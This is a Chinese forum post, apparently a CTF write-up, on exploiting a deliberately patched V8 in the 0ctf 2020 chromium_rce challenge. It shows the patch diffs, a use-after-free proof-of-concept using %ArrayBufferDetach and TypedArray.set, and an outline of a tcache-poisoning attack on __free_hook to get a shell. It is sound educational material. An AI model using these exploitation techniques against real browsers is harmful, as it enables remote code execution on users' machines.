首页
社区
课程
招聘
[原创][原创]沙箱逃逸之0ctf2020 chromium_rce writeup
发表于: 2023-1-29 21:23 19507

[原创][原创]沙箱逃逸之0ctf2020 chromium_rce writeup

2023-1-29 21:23
19507

0ctf 2020上的题目,总共三题。这是第一题,要做的是对patchv8进行利用;第二题是在chrome中开启了Mojo,要实现chrome sbx逃逸;第三题是二者的结合,要求先用v8的开启Mojo,然后再沙箱逃逸,实现chrome fullchain的利用。

这是第一题对于v8漏洞的wp,题目附件内容给的很简单,就三个。一个patch文件,一个d8及它运行的快照。

为了方便调试,先编译对应版本的v8

要想搞清楚漏洞,先要知道TypedArray.prototype.set函数的功能以及实现。

参考TypedArray.prototype.set,知道set() 方法用于从指定数组中读取值,并将其存储在类型化数组中。使用的语法如下所示:

第一个参数array是拷贝数据的源数组,源数组的所有值都会被复制到目标数组中,除非源数组的长度加上偏移量超过目标数组的长度,而在这种情况下会抛出异常;第二个参数偏移量参数offset指定从什么地方开始使用源数组 array 的值进行写入操作。如果忽略该参数,则默认为0

示例如下所示,简单来说就是从参数中的数组拷贝对应的数据并保存到目的数组当中。

再来看ecma标准中对于TypedArray.prototype.set函数实现的规定,如下所示。

可以看到会对源数组和目的数据的长度进行检查后,调用SetTypedArrayFromArrayLike函数,该函数部分定义如下。

很关键的一点是会在该函数中调用IsDetachedBuffer来检查源数组以及目的数组存放数据的空间是否已经被释放,如果被释放则抛出异常。如果这两个空间都没被释放,说明内存空间可用,可以正常拷贝;如果某个内存空间被释放的话,如果仍然正常使用,则形成了UAF漏洞。

题目对v8patch关键有两部分,第一部分是对TypedArrayPrototypeSet函数的patch,可以看到它把对于源数组以及目标数组存放数据空间内存的检查给patch掉了。

EnsureAttached代码如下所示,很直观的可以看到,代码的patchIsDetachedBuffer(array.buffer)的判断给去掉了,而是直接将内存指针进行转换。即如果我们释放了array.buffer,代码仍然会正常调用set函数。

第二个关键的patch,则是对于本应该是给定--allow-native-syntax参数才可以调用的函数的处理。当解析代码遇到Token::MOD%)的时候,本来会判断flags().allow_natives_syntax()是否开启,开启的话再调用ParseV8Intrinsic函数。patch过后,将flags().allow_natives_syntax()的判断去掉了,直接调用ParseV8Intrinsic函数,这也就意味着可以直接调用v8的内部函数,而不需要--allow-native-syntax参数。

另一部分patch则是加入了function->function_id != Runtime::kArrayBufferDetach的判断,即当调用ParseV8Intrinsic函数的时候,如果函数的id不是kArrayBufferDetach的话,就不进行调用。

上面两个结合起来的内容就是,允许不使用--allow-native-syntax参数就直接使用内部函数,但内部函数限制为%ArrayBufferDetach的调用,像%DebugPrint这些函数就不能再进行使用了。

经过了上面的分析,漏洞原理就很简单了。即我们可以直接使用%ArrayBufferDetach函数来释放TypedArray的数据内存,在释放后仍然可以调用TypedArray.prototype.set函数来操作该内存,从而形成了UAF漏洞。

poc的构造比较简单:

d8使用的是glibc来进行内存分配,所以这题可以简化成堆的菜单题。

这里需要注意一点的是正常以new Uint8Array(0x200);这种形式来分配内存的时候,会调用calloc来分配内存,它是不会用tcache来分配的。分配的函数调用栈如下所示:

使用如下形式却是可以触发malloc的。

函数调用栈如下所示:

对应到v8中的代码如下所示,当触发malloc的时候,走的是AllocateUninitialized分支;调用calloc的时候,走的是Allocate分支。

有了上面的解释,下面我们来构造菜单题所对应的原语,如下所示:

利用的思路是:

先申请大的堆块,然后释放进unsorted bin,利用uaf漏洞泄露出libc地址。

申请小堆块,然后释放进tcache,然后利用uaf漏洞修改tcache的指针指向free hook

修改free hook的内容为system地址,释放内容/bin/sh的堆块,成功get shell

要提一句的是调试的时候最好把第二部分的patchfunction->function_id != Runtime::kArrayBufferDetach对内置函数判断的检查给去掉,这样就可以正常使用其他的内置函数来,不然像%DebugPrint这些函数用不了的话,还是影响调试的。

第一次体验v8里面的uaf漏洞,感觉这种在正常的漏洞里面应该会比较少见,但是也是新颖。也加深了对TypedArray backing_store指针的理解。

文章首发于奇安信攻防社区

0CTF Chromium RCE WriteUp

Chromium RCE - v8 exploitation

$ ls
d8        snapshot_blob.bin        tctf.diff
$ ls
d8        snapshot_blob.bin        tctf.diff
git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
gclient sync
git apply < ../tctf.diff
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug
git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
gclient sync
git apply < ../tctf.diff
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug
 
typedarray.set(array[, offset])
typedarray.set(typedarray[, offset])
typedarray.set(array[, offset])
typedarray.set(typedarray[, offset])
 
var buffer = new ArrayBuffer(8);
var uint8 = new Uint8Array(buffer);
 
uint8.set([1,2,3], 3);
 
console.log(uint8); // Uint8Array [ 0, 0, 0, 1, 2, 3, 0, 0 ]
var buffer = new ArrayBuffer(8);
var uint8 = new Uint8Array(buffer);
 
uint8.set([1,2,3], 3);
 
console.log(uint8); // Uint8Array [ 0, 0, 0, 1, 2, 3, 0, 0 ]
 
 
 
 
diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
     // 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
     // 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
     //   exception.
-    const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+    const utarget = %RawDownCast<AttachedJSTypedArray>(target);
 
     const overloadedArg = arguments[0];
     try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
       // 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
       // 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
       //   exception.
-      const utypedArray =
-          typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+      const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);
 
       TypedArrayPrototypeSetTypedArray(
           utarget, utypedArray, targetOffset, targetOffsetOverflowed)
diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
     // 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
     // 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
     //   exception.
-    const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+    const utarget = %RawDownCast<AttachedJSTypedArray>(target);
 
     const overloadedArg = arguments[0];
     try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
       // 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
       // 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
       //   exception.
-      const utypedArray =
-          typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+      const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);
 
       TypedArrayPrototypeSetTypedArray(
           utarget, utypedArray, targetOffset, targetOffsetOverflowed)
// builtins/typed-array.tq: 168
macro EnsureAttached(array: JSTypedArray): AttachedJSTypedArray
    labels Detached {
  if (IsDetachedBuffer(array.buffer)) goto Detached;
  return %RawDownCast<AttachedJSTypedArray>(array);
}
// builtins/typed-array.tq: 168
macro EnsureAttached(array: JSTypedArray): AttachedJSTypedArray
    labels Detached {
  if (IsDetachedBuffer(array.buffer)) goto Detached;
  return %RawDownCast<AttachedJSTypedArray>(array);
}
 
 
--- a/src/parsing/parser-base.h
+++ b/src/parsing/parser-base.h
@@ -1907,10 +1907,8 @@ ParserBase<Impl>::ParsePrimaryExpression() {
       return ParseTemplateLiteral(impl()->NullExpression(), beg_pos, false);
 
     case Token::MOD:
-      if (flags().allow_natives_syntax() || extension_ != nullptr) {
-        return ParseV8Intrinsic();
-      }
-      break;
+      // Directly call %ArrayBufferDetach without `--allow-native-syntax` flag
+      return ParseV8Intrinsic();
 
     default:
       break;
diff --git a/src/parsing/parser.cc b/src/parsing/parser.cc
index 9577b37397..2206d250d7 100644
--- a/src/parsing/parser.cc
+++ b/src/parsing/parser.cc
@@ -357,6 +357,11 @@ Expression* Parser::NewV8Intrinsic(const AstRawString* name,
   const Runtime::Function* function =
       Runtime::FunctionForName(name->raw_data(), name->length());
 
+  // Only %ArrayBufferDetach allowed
+  if (function->function_id != Runtime::kArrayBufferDetach) {
+    return factory()->NewUndefinedLiteral(kNoSourcePosition);
+  }
+
   // Be more permissive when fuzzing. Intrinsics are not supported.
   if (FLAG_fuzzing) {
     return NewV8RuntimeFunctionForFuzzing(function, args, pos);
--- a/src/parsing/parser-base.h
+++ b/src/parsing/parser-base.h
@@ -1907,10 +1907,8 @@ ParserBase<Impl>::ParsePrimaryExpression() {
       return ParseTemplateLiteral(impl()->NullExpression(), beg_pos, false);
 
     case Token::MOD:
-      if (flags().allow_natives_syntax() || extension_ != nullptr) {
-        return ParseV8Intrinsic();
-      }
-      break;
+      // Directly call %ArrayBufferDetach without `--allow-native-syntax` flag
+      return ParseV8Intrinsic();
 
     default:
       break;
diff --git a/src/parsing/parser.cc b/src/parsing/parser.cc
index 9577b37397..2206d250d7 100644
--- a/src/parsing/parser.cc
+++ b/src/parsing/parser.cc
@@ -357,6 +357,11 @@ Expression* Parser::NewV8Intrinsic(const AstRawString* name,
   const Runtime::Function* function =
       Runtime::FunctionForName(name->raw_data(), name->length());
 
+  // Only %ArrayBufferDetach allowed
+  if (function->function_id != Runtime::kArrayBufferDetach) {
+    return factory()->NewUndefinedLiteral(kNoSourcePosition);
+  }
+
   // Be more permissive when fuzzing. Intrinsics are not supported.
   if (FLAG_fuzzing) {
     return NewV8RuntimeFunctionForFuzzing(function, args, pos);
let a = new Uint8Array(0x200);
let b = new Uint8Array(0x200);
%ArrayBufferDetach(a.buffer); // into tcache
a.set(b) // overwrite a's fd, write to freed mem
b.set(a) // read from freed mem
let a = new Uint8Array(0x200);
let b = new Uint8Array(0x200);
%ArrayBufferDetach(a.buffer); // into tcache
a.set(b) // overwrite a's fd, write to freed mem
b.set(a) // read from freed mem
 
#0  __libc_calloc (n=0x600, elem_size=0x1) at malloc.c:3366
#1  0x00007f3b7fbd411c in v8::(anonymous namespace)::ArrayBufferAllocator::Allocate (this=0x5600e01d5af0, length=0x600) at ../../src/api/api.cc:546
#2  0x00005600e013ba6f in v8::(anonymous namespace)::ArrayBufferAllocatorBase::Allocate (this=0x7fff5cf95c40, length=0x600) at ../../src/d8/d8.cc:120
#3  0x00005600e013b8ec in v8::(anonymous namespace)::ShellArrayBufferAllocator::Allocate (this=0x7fff5cf95c40, length=0x600) at ../../src/d8/d8.cc:141
#4  0x00007f3b8034cfa1 in v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0::operator()(unsigned long) const (this=0x7fff5cf94228, byte_length=0x600) at ../../src/objects/backing-store.cc:238
#5  0x00007f3b8034cf22 in std::__Cr::__invoke<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0&, unsigned long> (__f=..., __args=@0x7fff5cf940a0: 0x600) at ../../buildtools/third_party/libc++/trunk/include/type_traits:3529
#6  0x00007f3b8034cee2 in std::__Cr::__invoke_void_return_wrapper<void*>::__call<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0&, unsigned long>(v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0&, unsigned long&&) (__args=@0x7fff5cf940a0: 0x600, __args=@0x7fff5cf940a0: 0x600) at ../../buildtools/third_party/libc++/trunk/include/__functional_base:317
#7  0x00007f3b8034cea0 in std::__Cr::__function::__default_alloc_func<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0, void* (unsigned long)>::operator()(unsigned long&&) (this=0x7fff5cf94228, __arg=@0x7fff5cf940a0: 0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:1590
#8  0x00007f3b8034ce66 in std::__Cr::__function::__policy_invoker<void* (unsigned long)>::__call_impl<std::__Cr::__function::__default_alloc_func<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0, void* (unsigned long)> >(std::__Cr::__function::__policy_storage const*, unsigned long) (__buf=0x7fff5cf94228, __args=0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:2071
#9  0x00007f3b800c810e in std::__Cr::__function::__policy_func<void* (unsigned long)>::operator()(unsigned long&&) const (this=0x7fff5cf94228, __args=@0x7fff5cf94100: 0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:2203
#10 0x00007f3b800999b0 in std::__Cr::function<void* (unsigned long)>::operator()(unsigned long) const (this=0x7fff5cf94228, __arg=0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:2473
#11 0x00007f3b80082dc0 in v8::internal::Heap::AllocateExternalBackingStore(std::__Cr::function<void* (unsigned long)> const&, unsigned long) (this=0x2c4a000097b0, allocate=..., byte_length=0x600) at ../../src/heap/heap.cc:2908
#12 0x00007f3b8034a1e6 in v8::internal::BackingStore::Allocate (isolate=0x2c4a00000000, byte_length=0x600, shared=v8::internal::SharedFlag::kNotShared, initialized=v8::internal::InitializedFlag::kZeroInitialized) at ../../src/objects/backing-store.cc:252
#13 0x00007f3b7fd00277 in v8::internal::(anonymous namespace)::ConstructBuffer (isolate=0x2c4a00000000, target=..., new_target=..., length=..., initialized=v8::internal::InitializedFlag::kZeroInitialized) at ../../src/builtins/builtins-arraybuffer.cc:56
#14 0x00007f3b7fcfde82 in v8::internal::Builtin_Impl_ArrayBufferConstructor (args=..., isolate=0x2c4a00000000) at ../../src/builtins/builtins-arraybuffer.cc:92
#15 0x00007f3b7fcfd69e in v8::internal::Builtin_ArrayBufferConstructor (args_length=0x6, args_object=0x7fff5cf946f8, isolate=0x2c4a00000000) at ../../src/builtins/builtins-arraybuffer.cc:70
#16 0x00007f3b7f75563f in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit () from /home/f0cus77/work/pwn/v8/v8/out/x64.debug/libv8.so
#17 0x00007f3b7f51e265 in Builtins_JSBuiltinsConstructStub () from /home/f0cus77/work/pwn/v8/v8/out/x64.debug/libv8.so
#18 0x00002c4a08246ac9 in ?? ()
#19 0x00002c4a08246ac9 in ?? ()
#20 0x000000000000000c in ?? ()
#21 0x00002c4a08040385 in ?? ()
#22 0x0000000000000c00 in ?? ()
#23 0x00002c4a08040385 in ?? ()
#24 0x0000000000000002 in ?? ()
#25 0x00002c4a08240229 in ?? ()
#26 0x0000000000000024 in ?? ()
#27 0x00007fff5cf947a8 in ?? ()
#28 0x00007f3b7f96b1d8 in Builtins_CreateTypedArray () from /home/f0cus77/work/pwn/v8/v8/out/x64.debug/libv8.so
#0  __libc_calloc (n=0x600, elem_size=0x1) at malloc.c:3366
#1  0x00007f3b7fbd411c in v8::(anonymous namespace)::ArrayBufferAllocator::Allocate (this=0x5600e01d5af0, length=0x600) at ../../src/api/api.cc:546
#2  0x00005600e013ba6f in v8::(anonymous namespace)::ArrayBufferAllocatorBase::Allocate (this=0x7fff5cf95c40, length=0x600) at ../../src/d8/d8.cc:120
#3  0x00005600e013b8ec in v8::(anonymous namespace)::ShellArrayBufferAllocator::Allocate (this=0x7fff5cf95c40, length=0x600) at ../../src/d8/d8.cc:141
#4  0x00007f3b8034cfa1 in v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0::operator()(unsigned long) const (this=0x7fff5cf94228, byte_length=0x600) at ../../src/objects/backing-store.cc:238
#5  0x00007f3b8034cf22 in std::__Cr::__invoke<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0&, unsigned long> (__f=..., __args=@0x7fff5cf940a0: 0x600) at ../../buildtools/third_party/libc++/trunk/include/type_traits:3529
#6  0x00007f3b8034cee2 in std::__Cr::__invoke_void_return_wrapper<void*>::__call<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0&, unsigned long>(v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0&, unsigned long&&) (__args=@0x7fff5cf940a0: 0x600, __args=@0x7fff5cf940a0: 0x600) at ../../buildtools/third_party/libc++/trunk/include/__functional_base:317
#7  0x00007f3b8034cea0 in std::__Cr::__function::__default_alloc_func<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0, void* (unsigned long)>::operator()(unsigned long&&) (this=0x7fff5cf94228, __arg=@0x7fff5cf940a0: 0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:1590
#8  0x00007f3b8034ce66 in std::__Cr::__function::__policy_invoker<void* (unsigned long)>::__call_impl<std::__Cr::__function::__default_alloc_func<v8::internal::BackingStore::Allocate(v8::internal::Isolate*, unsigned long, v8::internal::SharedFlag, v8::internal::InitializedFlag)::$_0, void* (unsigned long)> >(std::__Cr::__function::__policy_storage const*, unsigned long) (__buf=0x7fff5cf94228, __args=0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:2071
#9  0x00007f3b800c810e in std::__Cr::__function::__policy_func<void* (unsigned long)>::operator()(unsigned long&&) const (this=0x7fff5cf94228, __args=@0x7fff5cf94100: 0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:2203
#10 0x00007f3b800999b0 in std::__Cr::function<void* (unsigned long)>::operator()(unsigned long) const (this=0x7fff5cf94228, __arg=0x600) at ../../buildtools/third_party/libc++/trunk/include/functional:2473
#11 0x00007f3b80082dc0 in v8::internal::Heap::AllocateExternalBackingStore(std::__Cr::function<void* (unsigned long)> const&, unsigned long) (this=0x2c4a000097b0, allocate=..., byte_length=0x600) at ../../src/heap/heap.cc:2908
#12 0x00007f3b8034a1e6 in v8::internal::BackingStore::Allocate (isolate=0x2c4a00000000, byte_length=0x600, shared=v8::internal::SharedFlag::kNotShared, initialized=v8::internal::InitializedFlag::kZeroInitialized) at ../../src/objects/backing-store.cc:252
#13 0x00007f3b7fd00277 in v8::internal::(anonymous namespace)::ConstructBuffer (isolate=0x2c4a00000000, target=..., new_target=..., length=..., initialized=v8::internal::InitializedFlag::kZeroInitialized) at ../../src/builtins/builtins-arraybuffer.cc:56
#14 0x00007f3b7fcfde82 in v8::internal::Builtin_Impl_ArrayBufferConstructor (args=..., isolate=0x2c4a00000000) at ../../src/builtins/builtins-arraybuffer.cc:92
#15 0x00007f3b7fcfd69e in v8::internal::Builtin_ArrayBufferConstructor (args_length=0x6, args_object=0x7fff5cf946f8, isolate=0x2c4a00000000) at ../../src/builtins/builtins-arraybuffer.cc:70
#16 0x00007f3b7f75563f in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit () from /home/f0cus77/work/pwn/v8/v8/out/x64.debug/libv8.so
#17 0x00007f3b7f51e265 in Builtins_JSBuiltinsConstructStub () from /home/f0cus77/work/pwn/v8/v8/out/x64.debug/libv8.so

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//